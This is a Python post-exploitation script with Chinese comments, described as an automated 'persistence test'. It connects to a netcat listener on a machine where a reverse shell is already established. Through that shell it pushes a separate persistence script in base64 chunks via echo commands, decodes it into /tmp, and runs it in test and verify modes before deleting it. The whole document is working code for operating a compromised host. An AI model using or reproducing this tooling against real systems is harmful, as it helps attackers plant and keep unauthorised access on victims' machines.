#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
自动化持久化测试脚本 - 通过NC连接
适用于已建立反向shell的目标机
"""

import socket
import time
import sys
import os
import base64
import json
from pathlib import Path

class AutoPersistenceTestViaNC:
    def __init__(self, target_ip, target_port=8888):
        self.target_ip = target_ip
        self.target_port = target_port
        self.sock = None
        self.script_dir = Path(__file__).parent
        
    def connect_to_target(self):
        """连接到目标机的NC监听端口"""
        try:
            print(f"[*] 连接到目标机 {self.target_ip}:{self.target_port}")
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.sock.connect((self.target_ip, self.target_port))
            print("[+] 连接成功！")
            return True
        except Exception as e:
            print(f"[-] 连接失败: {e}")
            return False
    
    def send_command(self, command, wait_time=2):
        """发送命令到目标机"""
        try:
            self.sock.send(f"{command}\n".encode())
            time.sleep(wait_time)
            
            # 接收响应
            response = ""
            self.sock.settimeout(5)
            try:
                while True:
                    data = self.sock.recv(4096).decode('utf-8', errors='ignore')
                    if not data:
                        break
                    response += data
                    if len(data) < 4096:
                        break
            except socket.timeout:
                pass
            
            return response
        except Exception as e:
            print(f"[-] 命令执行失败: {e}")
            return ""
    
    def upload_test_script(self):
        """上传测试脚本到目标机"""
        print("[*] 上传测试脚本...")
        
        # 读取本地测试脚本
        script_path = self.script_dir / "ultimate_persistence_tester.py"
        if not script_path.exists():
            print("[-] 本地测试脚本不存在")
            return False
        
        with open(script_path, 'rb') as f:
            script_content = f.read()
        
        # Base64编码
        encoded_content = base64.b64encode(script_content).decode()
        
        # 分块上传
        chunk_size = 1000
        chunks = [encoded_content[i:i+chunk_size] for i in range(0, len(encoded_content), chunk_size)]
        
        # 清空目标文件
        self.send_command("rm -f /tmp/test_script_b64.txt")
        
        # 逐块写入
        for i, chunk in enumerate(chunks):
            print(f"[*] 上传进度: {i+1}/{len(chunks)}")
            self.send_command(f"echo '{chunk}' >> /tmp/test_script_b64.txt")
        
        # 解码并保存
        self.send_command("base64 -d /tmp/test_script_b64.txt > /tmp/ultimate_persistence_tester.py")
        self.send_command("chmod +x /tmp/ultimate_persistence_tester.py")
        self.send_command("rm -f /tmp/test_script_b64.txt")
        
        # 验证上传
        result = self.send_command("ls -la /tmp/ultimate_persistence_tester.py")
        if "ultimate_persistence_tester.py" in result:
            print("[+] 脚本上传成功")
            return True
        else:
            print("[-] 脚本上传失败")
            return False
    
    def run_persistence_test(self):
        """运行持久化测试"""
        print("[*] 开始执行持久化测试...")
        
        # 检查Python环境
        python_check = self.send_command("which python3 || which python")
        if not python_check.strip():
            print("[-] 目标机没有Python环境")
            return False
        
        python_cmd = "python3" if "python3" in python_check else "python"
        
        # 执行测试
        print("[*] 执行完整测试...")
        test_result = self.send_command(f"{python_cmd} /tmp/ultimate_persistence_tester.py --test", wait_time=30)
        print(f"[*] 测试结果:\n{test_result}")
        
        # 执行验证
        print("[*] 执行验证...")
        verify_result = self.send_command(f"{python_cmd} /tmp/ultimate_persistence_tester.py --verify", wait_time=10)
        print(f"[*] 验证结果:\n{verify_result}")
        
        return True
    
    def cleanup_and_disconnect(self):
        """清理并断开连接"""
        print("[*] 清理测试环境...")
        self.send_command("rm -f /tmp/ultimate_persistence_tester.py")
        
        if self.sock:
            self.sock.close()
        print("[+] 连接已断开")
    
    def run_full_test(self):
        """运行完整的自动化测试"""
        print("="*60)
        print("🚀 自动化持久化测试开始")
        print("="*60)
        
        try:
            # 1. 连接目标
            if not self.connect_to_target():
                return False
            
            # 2. 上传脚本
            if not self.upload_test_script():
                return False
            
            # 3. 运行测试
            if not self.run_persistence_test():
                return False
            
            print("="*60)
            print("✅ 自动化测试完成")
            print("="*60)
            return True
            
        except KeyboardInterrupt:
            print("\n[!] 用户中断测试")
            return False
        except Exception as e:
            print(f"[-] 测试过程中发生错误: {e}")
            return False
        finally:
            self.cleanup_and_disconnect()

def main():
    if len(sys.argv) < 2:
        print("使用方法: python3 auto_test_via_nc.py <target_ip> [port]")
        print("示例: python3 auto_test_via_nc.py 192.168.218.128 8888")
        sys.exit(1)
    
    target_ip = sys.argv[1]
    target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 8888
    
    tester = AutoPersistenceTestViaNC(target_ip, target_port)
    success = tester.run_full_test()
    
    sys.exit(0 if success else 1)

if __name__ == "__main__":
    main()